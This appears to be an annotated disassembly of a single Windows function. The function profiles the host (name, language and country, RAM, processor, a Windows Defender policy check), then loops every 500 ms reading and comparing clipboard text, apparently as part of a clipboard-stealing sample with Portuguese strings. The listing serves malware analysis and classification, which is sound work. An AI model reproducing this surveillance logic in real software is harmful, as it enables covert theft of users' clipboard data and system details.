Function at 0x40a7f0
Capabilities:
Create thread
Get geographical location
Get hostname
Get memory capacity
Identify system language via api
Open clipboard
Query environment variable
Read clipboard data

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
lea ebx, [ebp - 0x58]
sub esp, 0x88
call fcn.004029d0
call fcn.00401bd0
mov dword [esp], 0x64
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x58], 0x64
call sub.msvcrt.dll_malloc
test eax, eax
mov dword [ebp - 0x5c], eax
je 0x40a844
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.KERNEL32.dll_GetComputerNameA
sub esp, 8
test eax, eax
jne 0x40a856
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0x5c], str.No_encontrado
call sub.KERNEL32.dll_GetUserDefaultUILanguage
movzx edi, ax
mov dword [esp + 0xc], 6
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x5a
mov dword [esp], edi
mov esi, str.Erro_ao_obter_informaes_de_idioma_e_pas._n
call sub.KERNEL32.dll_GetLocaleInfoA
sub esp, 0x10
test eax, eax
jle 0x40a8bc
mov dword [esp], 0x32
call sub.msvcrt.dll_malloc
test eax, eax
mov esi, eax
je 0x40ac23
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], edi
mov dword [esp + 8], str.Idioma:__04x_Pais:__s_n
mov dword [esp + 4], 0x32
mov dword [esp], eax
call fcn.00404c60
mov dword [esp], ebx
mov dword [ebp - 0x58], 0x40
mov edi, str.No_foi_possvel_obter_o_tamanho_da_RAM._n
call sub.KERNEL32.dll_GlobalMemoryStatusEx
sub esp, 4
test eax, eax
jne 0x40ac39
mov dword [esp], str.PROCESSOR_IDENTIFIER
call sub.msvcrt.dll_getenv
mov dword [esp], eax
mov dword [ebp - 0x6c], eax
call sub.msvcrt.dll_strlen
lea edx, [eax + 1]
mov dword [esp], edx
mov dword [ebp - 0x68], edx
call sub.msvcrt.dll_malloc
test eax, eax
mov dword [ebp - 0x60], eax
je 0x40ac2d
mov edx, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x6c]
mov dword [esp], eax
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
call sub.msvcrt.dll_memcpy
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 1
xor ebx, ebx
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
je 0x40ac0b
call fcn.004017e0
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x60]
mov ecx, esi
mov edx, dword [ebp - 0x5c]
mov dword [esp + 8], ebx
mov dword [esp], edi
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x64]
call fcn.00401460
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_CreateMutexA
sub esp, 0xc
mov dword [0x410120], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x401ca0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
mov dword [ebp - 0x60], 0
sub esp, 0x18
lea esi, [esi]
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x40ab50
mov dword [esp], 1
call sub.USER32.dll_GetClipboardData
sub esp, 4
test eax, eax
mov ebx, eax
je 0x40aba0
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
test eax, eax
mov esi, eax
je 0x40abd0
mov dword [esp], eax
call sub.msvcrt.dll_strlen
cmp eax, 0x31
mov edi, eax
ja 0x40ab60
lea ecx, [eax + 1]
mov dword [esp], ecx
mov dword [ebp - 0x5c], ecx
call sub.msvcrt.dll_malloc
test eax, eax
mov edx, eax
je 0x40abb0
mov ecx, dword [ebp - 0x5c]
cmp ecx, 4
jae 0x40ab70
test ecx, ecx
je 0x40aa6e
movzx eax, byte [esi]
test cl, 2
mov byte [edx], al
jne 0x40abfc
mov dword [esp], ebx
mov dword [ebp - 0x5c], edx
call sub.KERNEL32.dll_GlobalUnlock
mov eax, dword [ebp - 0x60]
sub esp, 4
mov edx, dword [ebp - 0x5c]
test eax, eax
je 0x40abe1
mov dword [esp], edx
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcmp
test eax, eax
mov edx, dword [ebp - 0x5c]
je 0x40ab30
mov dword [esp + 4], edx
mov dword [esp], str.GBFhAuZqpOguCPFojJvcDRmnhnEFmGenwuWJUHHVeqhzrpTFxCqhbhNQAYplKeNnVrllocxJDqLLQheUGatQfiKYMhhTBsNffxl:__s_n
mov dword [ebp - 0x5c], edx
call sub.msvcrt.dll_printf
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov edx, dword [ebp - 0x5c]
mov eax, edx
mov ebx, dword [eax]
add eax, 4
lea ecx, [ebx - 0x1010101]
not ebx
and ecx, ebx
and ecx, 0x80808080
je 0x40aac4
test ecx, 0x8080
jne 0x40aae9
shr ecx, 0x10
add eax, 2
mov ebx, ecx
mov dword [ebp - 0x5c], edx
add bl, cl
sbb eax, 3
sub eax, edx
lea ebx, [eax + 1]
mov dword [esp], ebx
call sub.msvcrt.dll_malloc
test eax, eax
mov dword [ebp - 0x60], eax
mov edx, dword [ebp - 0x5c]
je 0x40ab1d
mov dword [esp + 4], edx
mov dword [esp + 8], ebx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov edx, dword [ebp - 0x5c]
mov eax, edx
call fcn.00401ef0
lea esi, [esi]
lea edi, [edi]
call sub.USER32.dll_CloseClipboard
mov dword [esp], 0x1f4
call sub.KERNEL32.dll_Sleep
sub esp, 4
jmp 0x40a9e0
mov dword [esp], str.Erro_ao_abrir_a_rea_de_transferencia.
call sub.msvcrt.dll_puts
jmp 0x40ab35
mov dword [esp], str.Texto_na_rea_de_transferncia__muito_grande._Ignorando.
call sub.msvcrt.dll_puts
jmp 0x40ab30
mov eax, dword [esi + ecx - 4]
cmp edi, 4
mov dword [edx + ecx - 4], eax
jb 0x40aa6e
and edi, 0xfffffffc
xor eax, eax
mov ecx, dword [esi + eax]
mov dword [edx + eax], ecx
add eax, 4
cmp eax, edi
jb 0x40ab86
jmp 0x40aa6e
mov dword [esp], str.Erro_ao_obter_dados_da_rea_de_transferencia.
call sub.msvcrt.dll_puts
jmp 0x40ab30
mov dword [esp], str.Erro_ao_alocar_memria_para_o_contedo_da_rea_de_transferncia.
call sub.msvcrt.dll_puts
jmp 0x40ab30
mov dword [esp], str.Erro_ao_acessar_o_ponteiro_da_rea_de_transferncia.
call sub.msvcrt.dll_puts
jmp 0x40ab30
mov dword [esp + 4], edx
mov dword [esp], str.GBFhAuZqpOguCPFojJvcDRmnhnEFmGenwuWJUHHVeqhzrpTFxCqhbhNQAYplKeNnVrllocxJDqLLQheUGatQfiKYMhhTBsNffxl:__s_n
mov dword [ebp - 0x5c], edx
call sub.msvcrt.dll_printf
mov edx, dword [ebp - 0x5c]
jmp 0x40aac2
movzx eax, word [esi + ecx - 2]
mov word [edx + ecx - 2], ax
jmp 0x40aa6e
mov eax, dword [ebp - 0x58]
mov ebx, 1
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
jmp 0x40a956
mov esi, str.Erro_ao_alocar_memria._n
jmp 0x40a8bc
mov dword [ebp - 0x60], str.Erro_ao_alocar_memria._n
jmp 0x40a921
mov dword [esp], 0x32
call sub.msvcrt.dll_malloc
test eax, eax
mov edi, eax
je 0x40ac7d
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x50]
mov dword [esp + 8], str._llu_MB
mov dword [esp + 4], 0x32
mov dword [esp], edi
shrd eax, edx, 0x14
shr edx, 0x14
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edx
call fcn.00404c60
jmp 0x40a8db
mov edi, str.Erro_ao_alocar_memria._n
jmp 0x40a8db